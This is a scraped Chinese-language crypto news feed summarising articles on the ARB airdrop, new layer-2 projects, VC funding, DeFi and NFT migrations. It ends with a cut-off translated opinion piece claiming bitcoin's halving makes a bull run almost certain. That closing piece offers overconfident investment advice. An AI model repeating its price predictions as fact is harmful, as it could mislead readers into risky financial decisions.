News）：哪类域名更能从域名封装功能中受益？可以想象，域名封装功能推出后，能够扩展子域名的二级域名会更有吸引力。比如：名字类、姓氏类、公司名称类、项目名称类、通用定义、行业、产品类等。 内容来源  ( 16 min )
    【英文长推】数据分析：$ARB 空投对链上活动的增长影响
    Chainfeeds 导读： $ARB 空投为加密领域带来了许多新入者，这也导致许多人离开 $ETH 去探索更便宜的「牧场」。加密指标平台 Artemis 撰推分析 $ARB 空投带来的一系列链上活动变化，空投当日 Abitrum 日用户量为以太坊日用户量两倍。 文章来源： https://twitter.com/Artemis__xyz/status/1642149858298707969 文章作者： Artemis 观点： Artemis：$ARB 空投的宣布引起了链上活动的大量流入，宣布那天开始看到增长的势头。越来越多的用户在 Arbitrum 上交易，要么是希望最大化他们的 $ARB 空投，要么是预期流动性会增加。可以从日交易量上看出活动显著飙升，$ARB 110 万笔交易在其历史上首次超过 $ETH 的 100 万笔交易量。【原文为英文】 内容来源 Artemis：23 号公告当日，链上数据显示 $ARB 狂热处于历史最高水平。$ARB 费用达到历史最高点，即以太坊每日费用的 40%。考虑到 $ETH 的收益几乎是其最接近的竞争对手 Uniswap 的三倍，这确实是一个巨大的数字。随着用户争相领取空投，每日交易量激增，$ARB 用户量在前一天增加了 100%，同时是以太坊的日用户量两倍。$ARB DEX 的使用量也因此激增： Arbitrum 12 亿 美元交易量，以太坊为 20 亿美元交易量。没有其他 L2 在一天内接近超过以太坊的 DEX 交易量。【原文为英文】 内容来源  ( 2 min )
    【英文长推】新兴 L2 大盘点：项目信息及进展
    Chainfeeds 导读： 专注于空投及 Alpha 的社区 Airdrop Official 撰推对新兴 L2 项目进行盘点，概况各个项目的信息及更新。 文章来源： https://twitter.com/its_airdrop/status/1642152192655364098 文章作者： Airdrop Official 观点： Airdrop Official：1）Scroll，一个基于 zkEVM 的以太坊 rollup，正处于 Alpha 测试网阶段。以 18 亿美元的估值筹集了 8000 万美元。主网预计在 2023 年第四季度推出，Sushiswap 预计很快将在测试网上推出。2）Taiko，Type 1 ZK-EVM （以太坊等价 ZK-Rollup），TAIKO alpha 2 测试网已经上线，主网预计在 2024 年第四季度上线，alpha 3 设计正在进行中，将很快推出。【原文为英文】 内容来源 Airdrop Official：3）zkSync，最近推出了主网 2.0「ERA」，是第一个 zkEVM。在多轮融资中筹集了近 4.58 亿美元， $ZKS 代币预计在 1 年内推出。4）Starknet - 一个有效性 Rollup Layer 2 ，STRK 代币已经确认会发布， Alpha v0.11.0 已在测试网上发布。将 v.0.11.0 引入主网上的治理提案已经通过，主网预计将在几周内上线，以 80 亿美元的估值筹集了近 2.825 亿美元。【原文为英文】 内容来源 Airdrop Official：5）Layerzero ，不是真正的 L2 而是一种具有全链互操作性的消息传递协议。以 10 亿美元的估值筹集了 1.35 亿美元，到目前为止已传递了近 270 万条消息，近期在 Gnosis (GNO) 和 Coinbase 的 Base 链上线。6）Linea ，由 Metamask 背后的公司 Consensys 开发的 L2，是 Type2 zk-EVM，利用 rollup 来重建以太坊生态系统。在多轮融资中筹集了约 7.26 亿美元，估值为 70 亿美元。最近在测试网上超过了 200 万笔交易。【原文为英文】 内容来源 Airdrop Official：7）Mantle，具有模块化架构的 L2。 Mantle 使用 Eigen Layer 的 EigenDA 作为其数据可用性层。测试网现已上线，主网预计将在未来几个月内上线，由 BitDAO 创建，已经有一个代币 BIT。8）Base， Coinbase 的新 L2，建立在 Optimism 的 OP Stack 上，将与 Coinbase 现有的生态系统整合。主网预计在 2023 年第二季度上线，其生态系统正在发展，迄今为止已有近 18,000 名开发人员和 55,000 份智能合约部署 内容来源  ( 2 min )
    频频出手的 DWF Labs 是谁？「VC+ 做市商」，每月定投 5 个项目
    Chainfeeds 导读： 近日，一家名为 DWF Labs 的机构频频掷出大额投资，引得市场关注。律动专栏作者 0x22D 撰文对其进行背景剖析，并解析其投资理念、团队背景，盘点其重要投资。 文章来源： https://www.theblockbeats.info/news/36118 文章作者： 0x22D 观点： 0x22D：DWF Labs 将自己定位为「全球加密资产做市商与多阶段 Web3 投资公司」，其母公司 DWF 是一家全球性的加密货币高频交易公司，自 2018 年开始，在 40 多个顶级交易平台进行现货和衍生品交易，位居全球加密货币交易量前 5 名。大多数情况下，DWF Labs 通过直接购买 Token 的形式对项目进行投资。 内容来源 0x22D：投资理念：「无论市场状况如何，DWF Labs 平均每月都要投资 5 个项目」。目前 DWF Labs 的投资组合中有超过 100 个项目，且具有相当高的多样性，很难找到一个非常大的投资重点。这并非只是对分散投资思维的贯彻，对 DWF Labs 来说，投资组合的多元化也是一种涉足所有垂直领域，保持领先地位并适应市场需求的一种方式。 内容来源 0x22D：DWF Labs 主要专注于亚洲市场，官网中也能看到许多亚洲面孔。其管理合伙人 2018 年 9 月出任 Huobi Russia CEO，同年 12 月加入 DWF。合伙人 Heng Yu Lee 曾任职于摩根大通，离开摩根大通后在新加坡成立了一家名为 GROUP8 的网络安全和情报公司，合伙人 Zac Zou 曾任职于中国港湾工程有限公司，2018 年 8 月加入 OKEx 担任区域商务经理。 内容来源 0x22D：重要投资一览：1）Fetch.ai，4000 万美元；2）Synthetix，2000 万美元；3）Flare Network；4）Coin98；5）Yield Guild Games (YGG)，DWF Labs 和 a16z 领投 1380 万美元；6）TON，1000 万美元；7）Conflux；8）Mask Network，500 万美元；9）Radix，1000 万美元；10）Tomi；11）Orbs，1000 万美元；12）Beldex。 内容来源
    【英文长推】观点：DeFi 将受益于投资新兴市场
    Chainfeeds 导读： 新兴市场的平均中小企业贷款利率约为 15%，而发达市场约为 5%，RWA 协议 Zoth.io 撰推分析新兴市场的概念及优势，认为 DeFi ，特别是 RWA，将受益于投资新兴市场。 文章来源： https://twitter.com/zothdotio/status/1641811604353458181 文章作者： Zoth.io 观点： Zoth.io：什么是新兴市场？新兴市场是介于发展中和发达阶段之间的经济体。在此阶段，他们见证了最快的增长以及最大的波动，新兴市场，尤其是亚洲，拥有银行主导的金融市场和不发达的资本市场银行为缺乏健全信息基础设施的企业提供资金是非常规的，因此中小企业在新兴市场中举步维艰。【原文为英文】 内容来源 Zoth.io：银行更愿意向财务报表更清晰和经过审计的大型企业提供贷款，或者对中小企业提出高抵押要求，许多中小企业通过支付更高的利率来借钱。机构一直热衷于投资新兴市场，因为与发达市场相比，新兴市场具有更高的内部收益率、更高的复合年增长率和资产估值过低，但也有多元化的好处。【原文为英文】 内容来源 Zoth.io：根据麦肯锡的一份报告，发达市场和新兴市场之间的相关性为 0.5。这很低，这意味着发达市场和新兴市场的行为并不相似，因此有可能提供投资组合多元化。DeFi 通过 Aave、Compound 和类似协议争取收益机会。新兴市场的私人信贷贷款已经发现 DeFi 的轨道，例如 Goldfinch。但传统市场私人贷款融资数量在每个地区都比 DeFi 市场高出许多倍，还有很长的路要走。【原文为英文】 内容来源  ( 2 min )
    【英文长推】 Flatcoins 能否成为下一个热门叙事？解读 Flatcoins 及其 Tradfi 相关性、DeFi 用例
    Chainfeeds 导读： 近期 Base 发布新方向 Flatcoins，加密研究员 0xShinnChannn 撰推解读 Flatcoins 的背景、原理，及其 Tradfi 相关性和 DeFi 采用的例子 $RAI 和 Nuon。 文章来源： https://twitter.com/0xShinChannn/status/1642173226834083841 文章作者： 阿尔法新酱 | 0xShinChan 观点： 阿尔法新酱 | 0xShinChan：Flatcoins 与传统稳定币不同，它不与任何法币挂钩，而是与一篮子资产或指数挂钩。从长远来看，这提供了更大的稳定性，因为法币可能会因为通胀而随着时间推移贬值，而 Flatcoins 旨在通过跟踪通胀率来维持其价值。【原文为英文】 内容来源 阿尔法新酱 | 0xShinChan：Tradfi 相关性：例如新加坡的 NEER 政策侧重于通过将新加坡元（SGD）与一组其他货币进行比较来管理新加坡元（SGD）的价值。这组货币代表新加坡交易最多的国家。通过控制新元相对于这种「平均」汇率的价值，新加坡中央银行，新加坡金融管理局（MAS）可以确保新元的价值不会因为通货膨胀而大幅上涨或下跌。【原文为英文】 内容来源 阿尔法新酱 | 0xShinChan：DeFi 用例：1）$RAI，由 $ETH 抵押，作为其价值稳定的基础，没有固定的价格目标。是一种「无治理」和「去中心化」的稳定币，这意味着没有中心化机构控制它。RAI 通过称为「赎回价格」的机制实现稳定性，此价格根据市场条件和用户操作动态调整，鼓励人们买卖 RAI 以稳定其价值。2）Nuon 则提供差异化方法，重点在于通胀挂钩，依靠通胀指数预言机 Truflation 来每日计算 Nuon 挂钩。【原文为英文】 内容来源  ( 2 min )
    【英文】V 神：以太坊的多客户端理念将如何与 ZK-EVM 交互？
    Chainfeeds 导读： 长远来看，ZK-EVM 不仅仅用于 rollup，以太坊团队更想使用它们来验证 L1 的执行情况，一旦发生这种情况，ZK-EVM 实际上成为第三种类型的以太坊客户端，自然会提出一个问题：ZK-EVM 将如何与多客户端理念交互？以太坊创始人 Vitalik Buterin 撰文分析以太坊多客户端理念的最初动机，解析未来 ZK-EVM 进入 L1 的两种方式，认为这项工作大部分正在发生或无论如何都会发生。 文章来源： https://vitalik.eth.limo/general/2023/03/31/zkmulticlient.html 文章作者： Vitalik Buterin（以太坊联合创始人） 观点： Vitalik Buterin（以太坊联合创始人）：以太坊多客户端理念的最初动机：1）技术权利下放的论据，技术去中心化的主要好处即降低了一个软件中的一个错误导致整个网络灾难性崩溃的风险。2）政治权力下放的论据，在 2013-14 比特币 OP_RETURN 战争的背景下，一些参与者公开支持对链的特定用途进行歧视，是以太坊早期采用多客户端理念的重要因素，以太坊生态系统特有的担忧，即避免权力集中在以太坊基金会内部，为这一方向提供了进一步的支持。【原文为英文】 内容来源 Vitalik Buterin（以太坊联合创始人）：未来 ZK-EVM 如何进入 L1？两种选项：1）限制 L1，强制几乎所有活动移动到 L2。在这样的情况下，L1 的唯一功能是成为 L2 协议的清算所，验证它们的证明并偶尔促进它们之间的大额资金转移。弱点在于它实际上是向后不兼容的、仍然无法使验证变得足够便宜。2）SNARK 验证 L1，好处在于链上 EVM 执行不再需要由每个节点验证，这使得有可能大大增加发生的 EVM 执行量。【原文为英文】 内容来源 Vitalik Buterin（以太坊联合创始人）：结论：1）我们已经有多个强大的 ZK-EVM 实现。虽然还不是 1 型（完全等同于以太坊），但其中许多正在朝着那个方向积极发展。2）在 Helios 和 Succinct 等轻客户端上的工作最终可能会变成对以太坊链的 PoS 共识端进行更全面的 SNARK 验证。3）客户端可能会开始尝试使用 ZK-EVM 来证明自己的以太坊块执行，特别是当我们有无状态客户端并且在技术上不需要直接重新执行每个块来维护状态时。4）ERC-4337 和 PBS 生态系统可能会很快开始使用 BLS 和证明聚合等聚合技术，以节省 gas 成本。【原文为英文】 内容来源  ( 11 min )
    吴说 VC 月报：3 月加密项目融资数量与金额均大幅下降
    Chainfeeds 导读： 吴说区块链根据 RootData 数据统计，分析 3 月加密 VC 公开的投资项目，涵盖不同赛道融资数量占比，以及超过 2000 万美元轮次的盘点。 文章来源： https://www.wu-talk.com/index.php?m=content&c=index&a=show&catid=6&id=12989 文章作者： 吴说区块链 观点： 吴说区块链：根据 RootData 统计，3 月加密 VC 公开的投资项目共 84 个，环比下降 31%（2023 年 2 月共 122 个项目），同比下降 59%（2022 年 3 月共 203 个项目）。3 月份加密市场各赛道中，基础设施类项目的融资数量占比约 31%，DeFi 占比约 18%，CeFi 占比约 11%，NFT/GameFi 占比约 20% 内容来源 吴说区块链：3 月总融资金额为 7.7 亿美元，环比下降 19%（2023 年 2 月共 9.5 亿美元），同比下降 80%（2022 年 3 月共 38.9 亿美元）。融资金额结束了三个月的上升趋势，其中超过 2000 万美元的轮次（不包含 CeFi、矿商等中心化机构）如下：1）硬件钱包制造商 Ledger 以 13 亿欧元估值完成 1 亿欧元（1.09 亿美元）融资；2）以太坊重复质押协议 EigenLayer 完成由 Blockchain Capital 牵头的 5 千万美元融资。 内容来源 吴说区块链：3）Scroll 是以太坊上基于 zkEVM 的 zkRollup，估值达 18 亿美元，本轮融资 5 千万美元；4）Fetch.ai 是一个基于人工智能和机器学习的区块链平台，融资 4 千万美元；5）tomi 专注于提供硬件和软件的去中心化服务，完成由 DWF Labs 领投的 4 千万美元融资；6）Bitkeep 完成由 Dragonfly Capital 领投的 3 千万美元融资；7）CCP Games 融资 4 千万美元；8）Aavegotchi 融资 3 千万美元；9）OP3N 以一亿美元估值融资 2800 万美元；10）做市商 DWF Labs 购买了价值 2000 万美元的 SNX，并将 Synthetix 永续合约整合到他们的交易业务中。 内容来源  ( 3 min )
    数据：持有超过 0.01 枚 ETH 的地址创历史新高
    数据：持有超过 0.01 枚 ETH 的地址创历史新高 据 Glassnode 数据显示，持有超过 0.01 枚 ETH 的地址为 23,516,993 个，创历史新高。 内容来源  ( 2 min )
    随着 BSL 到期，Uniswap v3 代码可以自由分叉
    随着 BSL 到期，Uniswap v3 代码可以自由分叉 据 Cointelegraph 援引协议文档显示，开发人员现在可以分叉 Uniswap v3 协议，因为其商业源代码许可证（BSL）已于 4 月 1 日到期。BSL 是一种许可证，在完全开放源代码之前会持续一段时间，目的是保护作者从其创作中获利的权利。Uniswap v3 的许可证于 2021 年发布，为期两年，禁止其代码用于商业用途。一个名为通用公共许可证的新许可证现在适用于该协议。要分叉代码，开发者需要额外使用授权，这是一种产品豁免，旨在满足开源和商业开发者的需求。 内容来源  ( 47 min )
    Arbitrum 的第一个治理提案引发争议，现有 10 亿美元的 ARB 代币处于风险中
    Arbitrum 的第一个治理提案引发争议，现有 10 亿美元的 ARB 代币处于风险中 据 CoinDesk 报道，Arbitrum 的首次治理尝试引发争论，原因是其中一项提议让让 Arbitrum 基金会控制价值近 10 亿美元的 7.5 亿个 ARB 代币，这些代币将资助一项旨在促进 Arbitrum 增长的「特别赠款」计划，但根据 AIP-1 提案，ARB 持有人无权决定 Arbitrum 基金会将近 10 亿美元的资金由谁或如何分配。此次投票目前处于初步阶段，之后将举行正式的最终论坛，在此之前，Arbitrum 基金会还没有公布其将如何管理赠款计划的关键要素。 内容来源  ( 27 min )

  • Open

    Zk Rollup浪潮来临，StarkNet生态协议ZKX如何为用户构建优质交易体验？
    Zk Rollup浪潮来临，StarkNet生态协议ZKX如何为用户构建优质交易体验？ – 深潮TechFlow 虽然以太坊仍在致力于解决其可扩展性的问题，但截至目前，以太坊依然无法承载大规模的用户采用——去中心化是一把双刃剑。 Read the full entry  ( 4 min )
    Zk Rollup浪潮来临，StarkNet生态协议ZKX如何为用户构建优质交易体验？
    Zk Rollup浪潮来临，StarkNet生态协议ZKX如何为用户构建优质交易体验？ – 深潮TechFlow 虽然以太坊仍在致力于解决其可扩展性的问题，但截至目前，以太坊依然无法承载大规模的用户采用——去中心化是一把双刃剑。 Read the full entry  ( 4 min )

  • Open

    数据：持有超过0.01枚ETH的地址创历史新高
    PANews 4月2日消息，Glassnode数据显示，持有超过0.01枚ETH的地址为23,516,993个，创历史新高。  ( 1 min )
    数据：过去一周Circle USDC流通量减少19亿美元
    PANews 4月2日消息，据官方数据，过去7天Circle共发行6亿美元USDC，赎回25亿美元USDC，流通量减少约19亿美元。截至3月30日，USDC总流通量为326亿美元，储备量为330亿美元，其中现金40亿美元，短期美国国债290亿美元。  ( 1 min )
    数据：zkSync Era∎TVL约9400万美元，超越zkSync Lite
    PANews 4月1日消息，据L2BEAT数据显示，zkSync Era∎在上线一周后，TVL已达到9392万美元，超越zkSync Lite（8622万美元）。  ( 1 min )
    PA图说 | 一图掌握以太坊上NFT关键数据（2023.04.01）
    NFT日报全新升级，增加更多新维度，NFT交易时可更全面细致参考！ PANews APP 2.0全新升级，带你挖掘热门NFT，捕捉参与机会，点击此处下载PANews即可体验。  ( 1 min )
    数据：处于盈利状态的ETH地址数再创11个月高点
    PANews 4月1日消息，据Glassnode数据显示，处于盈利状态中的ETH地址数量约达6410万，再创11个月内的最高点，上一次创下高点为3月24日。  ( 1 min )
    数字资产基础设施开发公司GlobexUS拟以7400万美元估值融资250万美元
    PANews 4月1日消息，据CrowdFundInsider报道，数字资产基础设施开发公司GlobexUS将通过Reg D（506c）证券发行方式募集250万美元，该公司本次融资前的估值达到7400万美元。据悉，Globex US是数字资产市场Upstream背后的支持公司，其推出的Open Order Book数字证券交易软件能让用户通过以太坊对订单驱动的数字资产支持市场进行出价。  ( 1 min )
    欧盟或将禁止超过1000欧元的匿名加密货币转账
    PANews 4月1日消息，据Coinpaper报道，欧洲议会议员批准了三项法案草案以加强加密交易监管。该立法涉及洗钱和恐怖主义融资，虽然并不直接针对数字资产，但一旦签署成为法律，匿名转账将限制在1000欧元以内（约1087美元）。此外，新法规或将补充进加密资产市场规则 (MiCA) 法案。  ( 1 min )
    逃离Solana：「NFT革命」为何发生在以太坊或Polygon生态？
    作者：北辰 这两天有两个Solana上的头部NFT项目正式开始逃离了——y00ts到Polygon，DeGods到以太坊。 迁移的方式很简单，就是用户销毁Solana上原有的NFT，并在新链上重新铸造。 尽管现在NFT收藏品市场相对低迷，但这两个系列加起来已经有一亿多美元，它们都是DeLabs推出的，并且在去年12月份就决定离开Solana。 而且据DeLabs创始人Frank透露，他们还关注着比特币生态，其中DeGods已通过Ordinals刻在比特币上（以铭文的形式写在比特币上）。 也就是说，在DeLabs看来，比Solana更优的选择有很多。无论你是否认可这个观点，DeLabs的判断还是值得所有关注NFT收藏品市场的人参考（至于影响因子设置多大，则取决于个人），至少有三点提示。 尽管在Solana拥趸看来，还是有不少技术创新之处，但应该没有人否认它牺牲了去中心化这个区块链最重要的特质。再加上Solana背后的FTX暴雷后，从资金到预期都不尽如人意，最终生态发展也就后继乏力。 也许在Solana上运行一些实用产品（如游戏）还多少有些竞争力，但NFT收藏品则是纯靠共识在支撑。Solana从技术到生态都没有竞争力，就像我们昨天文章里提到的蚂蚁链，而且至少蚂蚁链还有个合规优势。 y00ts去Polygon，首当其冲的原因是Polygon投了300万美元，但更深层次的原因是Polygon上已经吸引了一些传统领域的巨头，如星巴克、迪士尼、耐克、Reddit等。 后续y00ts可以与它们建立合作关系，如搞联名会更方便，而这是一个非常大的市场（请参见我们昨天的文章《把NFT带进现实的PBT方案，对潮牌、潮玩的吸引力有多大？》）。 Polygon就好比一座有越来越多的外来企业迁入的城市，而且这些企业还吸引来了配套产业链上的精英过来，那么这座城市起飞几乎是大概率事件。 而且根据经济学常识，随着资源密度的增加，创新会以几何倍数涌现，落叶正在堆积，就等下一轮牛市的火星来点燃它。 DeLabs团队直言，“如果我们要成为世界上最大、最受欢迎的NFT系列，你就必须在以太坊上“。 尽管有很多以太坊杀手，但基本都是在挑战以太坊的性能，至少在可以预测的将来，以太坊的共识是仅次于比特币的。这不是技术的问题，也无关白人与华人之争，单纯是以太坊的社区氛围依然凝聚了最优秀的一批builder，这是价值观的问题。 就好比当19岁的Vitalik思考如何突破比特币的瓶颈时，一些技术水平比他高的人研发了矿机，他们都有光明的前途，只是通往了不同的方向。 Polygon更适合潮玩类的NFT收藏品，而真正承载价值的NFT收藏品还是得在以太坊上，只有以太坊的共识才有足够的背书来声明对原始数字作品的所有权，其它公链更适合土狗。  ( 1 min )
    Santiment：3月发生年内5笔最大额BTC交易，持有10至1万枚BTC的地址数量正持续减少
    PANews 4月1日消息，据DailyHodl报道，加密分析公司Santiment表示，今年迄今为止最大的五笔比特币交易都发生在3月份，其中最大额的一笔交易转移了价值约5.64亿美元的BTC。Santiment总监Brian Quinlivan在该篇博客文章中表示，BTC交易的规模以及比特币鲸鱼数量的减少可能表明大型实体投资机构正试图锁定其投资收益。基于3月份进行的非常大额的交易，以及持有10至1万枚BTC地址占比的继续下滑和逐渐减少来看，确实为希望看到更高价格的投资者提供了一些合理的警告标志。  ( 1 min )
    zkSync：已确定网络宕机原因并解决问题，后续将发布详细报告
    PANews 4月1日消息，zkSync发推表示，zkSync Era网络在欧洲中部时间凌晨1:52–6:02出现停机。zkSync团队确定了原因并已解决问题，网络已正常运行，zkSync将很快向社区提供更多详细的事后分析。 此前消息，zkSync Era主网疑似宕机，3小时未出块。  ( 1 min )
    ARB空投大获成功，对项目方有何重要启示？
    原文：《How ARB Shifts the Future of Airdrops》by Jack Inabinet 编译：Katie 辜 ARB的推出对加密货币和以太坊来说是一个重要时刻，对空投界来说也是一个巨大的里程碑。ARB之后的项目方要如何对早期采用者进行代币激励呢？今天，让我们深入探讨下空投的未来。 空投仍然是奖励社区和将协议所有权去中心化的首选模式。然而，Uniswap风格的追溯式空投已经一去不复返。通过一笔简单的交易或LP头寸将不再使你有资格获得空投。即使是最基本的空投方式，现在也将空投分级标准和反女巫攻击机制考虑在内。 虽然Arbitrum无疑是2023年（迄今为止）最热门的空投，但从技术性能和代币分发的角度来看，其空投方式仍有不足之处。本文我们将剖析ARB空投的一些陷阱，并探讨其他明星协议是如何在过去的空投上迭代，同时协调社区，吸引流动性和最大限度地减少网络被干扰的情况。 3月23日，超过11.6亿个ARB被空投到62.5万个独立活跃的钱包中，每个地址的分发数量从625到10250个Token不等。大部分认领活动都是提前进行的，52%的分发在头四个小时内被认领。在ARB发布日，Arbitrum出现了极高的链上活动水平，创下了61.2万个活跃地址270万笔交易的历史记录，分别比以太坊高出145%和32%。 来源：Artemis 大量流量导致Arbitrum定序器崩溃，并导致公共提供程序之间的RPC端点故障。虽然Arbitrum的技术目前在行业中是最顶尖的，通过Nitro提供了更高的吞吐量和呼叫数据压缩（call data compression），但在ARB空投后的几个小时内，区块链技术的局限性开始暴露出来。 Arbitrum的 Web2 基础设施也无法处理负载。在ARB发布后的几个小时内，推荐的认领门户网站arbitrum.foundation和区块链浏览器Arbiscan都宕机了。Arbitrum用户和空投认领方随即在推特上表达了不满。 2022年大火的追溯性空投（奖励那些已经与协议或产品交互过的用户）和简单的空投标准已经跟不上行业发展速度。当今最热门的协议认识到空投的潜力，并正在设计新颖的分发策略，以最大限度地利用其潜力。 不可否认，空投是许多协议所产生的最大“费用”，那么它们如何实现价值最大化呢？ 任何空投的主要目标都应该是公平地奖励各种链上活动，致力于将代币分发给那些最不可能出售和最有可能参与治理的用户。有针对性的分发标准是实现这一追求的关键。 除了基本用途之外，协议已经开始越来越多地奖励多种类型的链上交互。 虽然Arbitrum为DAO提供了可自行支配的代币，但其rollup错过了直接奖励生态系统中良好公民行为的机会，似乎忽视了“进入奥德赛活动”（Odyssey）的NFT持有者。虽然目前空投不打算完全取代交易价值和使用代币的行业标准，但可以使用额外的方式来奖励理想的用户行为。例如，Arbitrum可以将治理参与纳入其获得空投的标准中。 尽管与Nansen的合作打击了女巫攻击者，但Arbitrum的女巫攻击检测中存在明显的漏洞。X-explore进行的一项分析发现，ARB空投中包括大约4000个女巫攻击社区，控制着15万个有资格认领2.53亿个代币的地址（占ARB用户分配的21%）。有三个著名的女巫攻击社区就声称认领了超过420万ARB。 “反女巫机制”虽然不是一个“十全十美”的解决方案，但降低标准并奖励具有良好链上用户行为特征的各种行为，可以帮助限制分发给女巫攻击farmer的代币数量。设置额外的标准有助于管理空投分配，并向那些对生态系统有贡献的地址提供代币。 拉扯式空投（Pull-style airdrop）要求代币接收者认领空投，对许多项目来说似乎很有吸引力。避免了Gas费用，进行认领活动为协议提供了机会，让项目方可以通过促进治理来劝阻“到手即卖”的Holder，正如Arbitrum的认领过程。然而，考虑到区块链技术目前的局限性，全网范围的拉扯式空投可能会造成链上的混乱，阻碍链处理交易的能力，并造成复杂的代币认领体验。 Optimism的二次空投采用了推送方式，在不造成更广泛网络中断的情况下，“丝滑”地将5500万个OP分配到超过3.3万个独立活跃地址。虽然拉扯式空投对于试图引导治理参与的大型初始空投的协议是可行的，但对拥有大量钱包的网络进行重复空投最好采用推送方式。 哪个加密应用程序不喜欢吸引更多的TVL呢？空投提供了一种方便的方式来做到这一点。NFT市场Blur在追溯空投模式上进行了创新，并选择主动宣布空投资格标准以吸引用户。 自推出以来，Blur已向各种用户类别公开宣传其空投代币的意图，而NFT市场的大部分最初采用率都来自于试图最大限度地提高其空投资格的用户。目前，Blur处理了每周NFT交易量的72%，部分原因是预先宣布了其第二季空投。 来源：Dune Analytics 尽管Blur的策略取得了成功，但Arbitrum仍然坚持仅基于用户过去的参与活动进行代币分发，错过了吸引更多用户和TVL加入该链的机会。随着激励措施的最终枯竭，Blur在NFT交易领域的主导地位可能会逐渐消失，但预先宣布的空投帮助Blur在与OpenSea等巨头的竞争中“站稳了脚跟”。 空投是通过追溯性分配直接面向消费者的营销支出。虽然这些代币分发量不需要很大，但向竞争性协议的用户授予代币可以加强项目方和用户之间的关系，并为捕获新的流动性和用户提供机会。Optimism和Sturdy Finance都属于使用这种方法的协议，每个协议都将部分代币分配给竞争协议的用户。 最佳空投实践并不会“一锤定音”。协议正在不断更新代币分发方式，试图优化获得空投的用户资格，吸引流动性，并创造“丝滑”的用户体验。 加密行业在不断变化，但很明显，Arbitrum的最新空投并不是最终的空投形式。其他项目正在进一步创新空投方式，但Arbitrum代币的推出对该行业来说是一个重要启示。  ( 1 min )
    孙宇晨否认了彭博社关于Huobi正在寻求股权买家的报道
    PANews 4月1日消息，孙宇晨在推特上否认了彭博社关于Huobi正在寻求股权买家的报道。 此前彭博社援引知情人士报道，孙宇晨已经就出售Huobi的股份进行了谈判。  ( 1 min )
    Binance.US将“过渡到新的银行服务”，会暂时影响存取款功能
    PANews 4月1日消息，据CryptoSlate报道，根据Binance.US状态更新信息显示，由于“银行业近期发展”，Binance.US将“过渡到新的银行服务”，届时一些存款和取款功能将暂时无法使用，几种转账方式也将不可用，包括电汇存款和取款、Apple Pay存款和Google Pay存款，此外，5%的客户无法使用借记卡存款。  ( 1 min )
    DeGods开放向以太坊迁移，NFT市场Blur宣布上线DeGods
    PANews 4月1日消息，NFT项目DeGods宣布已向NFT持有者开放向以太坊网络的迁移，NFT市场Blur随后也宣布DeGods已在其平台正式上线。据悉，在48小时内，DeGods将免除以太坊上的DUST质押/取消质押费用。以太坊链上的DeGods NFT交易将会收取0.33%的版税。  ( 1 min )
    彭博社：孙宇晨已经就出售Huobi的股份进行了谈判
    PANews 4月1日消息，据彭博社援引消息人士报道，波场TRON创始人、火必Huobi全球顾问委员会成员孙宇晨已经就出售Huobi Global的股份进行了谈判。据悉，孙宇晨在过去几周试探了潜在投资者的意见。谈判还处于早期阶段，尚不清楚是否有投资者会继续推进。  ( 1 min )
    数据：3月份Arbitrum网络费用达595万美元
    PANews 4月1日消息，据Token Terminal数据显示，3月份Arbitrum网络费用达到595万美元，超过Polygon（388万美元）和Optimism（223万美元）。  ( 1 min )
    从减半周期分析：为什么现在是买入比特币的最佳时刻
    作者：Jesse Myers, 斯坦福MBA 编译：Felix, PANews 没有人抄底，因为下跌感觉就像一场灾难。一年来，滚雪球般的恐惧压倒了加密人士。可以看到红色趋势（下跌）持续了12个月，动物的本能驱使加密人士开始相信，下跌会永远持续下去。没人想买还未触底的比特币——因为大家都不知道底部究竟有多低。所以加密人士都在旁观，就像车灯下的鹿一样僵住了。 你可能想低价买入比特币，并在等待合适的时机。但是，当比特币在2022年11月暴跌至1.5万美元时，你仍在观望并等待更低的价格，以为可能会有机会以多年前后悔没有买入的神奇价格买入。 每个人都看着底部过去，认为它还会更低。所以，不要对自己太苛刻——因为身边很多人都这样。 你可能梦想过抓住确切的价格底部，但这几乎不可能。恐惧的高峰已经过去了，所以忘掉最近的价格底部吧，它已成过去式。取而代之的是，现在有了更清晰的认识——目前的价格相对于底部的位置并不远，更重要的是，未来2年的趋势（几乎肯定）将是积极的。 Jesse Myers上一次在风险调整时期，对比特币持这种乐观态度是在2020年5月，当时价格为9000美元。在接下来的18个月里，比特币飙升至6.9万美元（上涨约7倍）。 这种看涨情绪并非武断的。这是基于比特币的供求机制。这些机制创造了一个黄金机会——每四年一次的时间窗口。让人们有机会将比特币作为他们投资组合的一部分，相信他们的直觉，比特币是他们不想再错过的东西。而现在就是窗口。 为什么？ 这是比特币的供应发行时间表。这是什么意思？比特币在2009年1月推出的那一天，当时还没有比特币。而最终的上限2100万枚比特币。但是如何从0到2100万呢？ 比特币的创造者采用了一种非常聪明的方法——将比特币奖励给为网络提供算力的人（“挖矿”）。更聪明的是，他将这个系统设计为每四年释放一半。这创造了一种令人难以置信且日益稀缺的属性，这是其他资产以前从未有过的。其结果是带来了一个不可思议的特性：比特币随着时间的推移变得更有价值。 该系统的魔力通过“减半”发挥作用。上图的虚线是供应量永久减半的时刻，每四年发生一次。这个事件令人难以置信的是它所启动的供需机制。当新的供应减少一半时，会产生供应短缺，打破现有的供需价格平衡。突然间，没有那么多的比特币进入市场来满足市场需求。这种供应短缺日复一日地累积，买家自然会开始提高出价以找到有意愿的卖家。 结果，价格开始上涨。这被称为价格发现，当条件发生变化，价格需要调整，以重新实现供需均衡，这适用于所有市场。 但这对比特币过去的价格有何影响？ 比特币在其14年的生命周期中经历了三次减半——分别在2012年、2016年和2020年。在每一次减半后的12-18个月里，比特币均经历了一次大牛市。（你可能是在2013年的疯狂上涨期间第一次听说比特币，然后在2017年惊讶地再次听到，之后便是2021年) 以下是这些反弹的情况（注意：这里的y轴是对数，这意味着1美元和10美元之间的视觉空间与1000美元和1万美元相同）： 这幅图说明了一切。但可能有点不易理解这些数据和其中的含义。所以，以下为提炼的核心要点： 这就是规律。就是这么简单。 不了解比特币的人会认为这样的规律是偶然的，认为期待它再次发生是愚蠢的。(毕竟，“过去的表现并不代表未来的结果”)问题是，在这种情况下，它还会再次发生。 减半已写入比特币代码中。只要比特币还存在，下一次比特币减半绝对会发生在2024年春季（届时比特币区块链中的第84万个区块将被添加，目前预计发生在2024年4月27日）。这不是偶然，这是机制。 许多人对此表示怀疑，其实是可以理解的。这怎么可能呢？这听起来令人难以置信，与许多人所知道的任何事情都不一样。一种资产为何能有如此可靠的牛市？竟是供应减半，而导致比特币日益稀缺。 然而，99%的人甚至从未听说过比特币减半。事实上，你正在阅读这篇文章，意味着你现在就处于那1%之中。这就是所谓的信息不对称：你比世界上的其他人更有优势。 Jesse 